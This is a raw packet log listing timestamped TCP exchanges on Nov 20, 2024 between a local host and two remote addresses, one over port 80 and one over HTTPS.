Nov 20, 2024 08:12:37.320611000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320621014 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320621014 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320621967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320633888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320651054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320657969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320668936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320679903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320687056 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320687056 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320693016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320704937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320715904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320718050 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320727110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320739985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320749998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320760012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320772886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320786953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320786953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320820093 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321583033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321594954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321614027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321624994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321635008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321645975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321656942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321660042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321660042 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321671009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321681976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321695089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321706057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321716070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321717024 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321717024 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321727991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321741104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321753025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321764946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321777105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321789026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321795940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321795940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321799994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321813107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321825027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.321836948 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.321836948 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322427034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322438002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322448015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322459936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322470903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322475910 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322475910 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322484016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322510958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322510958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322563887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322582960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322592974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322602987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322613001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322624922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322634935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322634935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322635889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322648048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322660923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322673082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322683096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322686911 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322686911 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322696924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322710037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322720051 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322730064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.322731018 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.322731018 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323445082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323457003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323468924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323479891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323489904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323504925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323510885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323510885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323518038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323532104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323538065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323549032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323575974 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323586941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323590994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323590994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323601007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323613882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323625088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323635101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323645115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323654890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323654890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323656082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323668957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323681116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323690891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.323695898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.323695898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324290991 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324484110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324496031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324506998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324518919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324528933 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324547052 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324557066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324558020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324568987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324579000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324590921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324601889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324601889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324601889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324614048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324625969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324635983 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324649096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324651957 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324651957 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324661016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324671984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324681997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324692011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324702978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324713945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.324734926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324734926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.324786901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325447083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325459003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325479031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325491905 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325500965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325514078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325524092 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325534105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325546026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325546980 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325558901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325570107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325579882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325583935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325583935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325592041 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325603008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325613976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325623989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325623989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325623989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325638056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325643063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325649977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325660944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325671911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325683117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325692892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.325712919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.325712919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326160908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326173067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326183081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326195955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326210976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326225996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326236010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326246977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326246977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326246977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326257944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326303959 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326303959 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326313019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326323986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326342106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326353073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326364040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326369047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326417923 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326422930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326433897 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326446056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326456070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326467037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326467037 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326479912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326491117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326502085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326513052 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326519012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326519012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326524973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326535940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326541901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326546907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.326572895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.326572895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.327025890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327038050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327049017 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327090025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.327090025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.327178001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327212095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327224016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327235937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327246904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327260971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.327265024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.327302933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.327302933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.443243027 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.444204092 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.444220066 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.444670916 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.444677114 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.454574108 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.455406904 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.455408096 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.455439091 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.455451012 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.468869925 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.469208002 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.469217062 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.469625950 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.469630003 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.543071032 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.543406963 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.545017958 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.551232100 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.551248074 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.555551052 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.555593014 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.555663109 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.555877924 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.555891991 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.556143999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.556188107 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.556441069 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.556507111 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.557226896 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.557226896 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.557226896 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.559007883 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.559041023 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.561151028 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.561311960 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.561321974 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.571897030 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.572083950 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.572129965 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.572149992 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.572185993 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.572356939 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.572364092 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.572374105 CET	49841	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.572379112 CET	443	49841	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.574377060 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.574412107 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.574562073 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.574687004 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.574698925 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.658101082 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.658665895 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.658683062 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.659018040 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.659029007 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.746047020 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.746515989 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.746531010 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.747051001 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.747055054 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.762947083 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.763173103 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.763221979 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.763319969 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.763319969 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.763339996 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.763350010 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.765918970 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.765959978 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.766043901 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.766180992 CET	49849	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.766191959 CET	443	49849	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.849684000 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.850038052 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.850083113 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.850125074 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.850157976 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.850296974 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.850323915 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.850339890 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.850347996 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.853013039 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.853063107 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.853142977 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.856491089 CET	49850	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.856511116 CET	443	49850	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.867403984 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.867444038 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.003812075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:38.003860950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:38.194531918 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.195012093 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.195027113 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.195683002 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.195691109 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.197715044 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.198170900 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.198184967 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.198715925 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.198725939 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.215859890 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.222964048 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.222995996 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.223493099 CET	49848	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.223507881 CET	443	49848	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.295016050 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.295324087 CET	443	49846	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.295438051 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.297734022 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.297987938 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.298036098 CET	443	49847	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:38.298043966 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.298110962 CET	49847	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.304003954 CET	49846	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:38.304033041 CET	443	49846	13.107.246.42	192.168.2.6
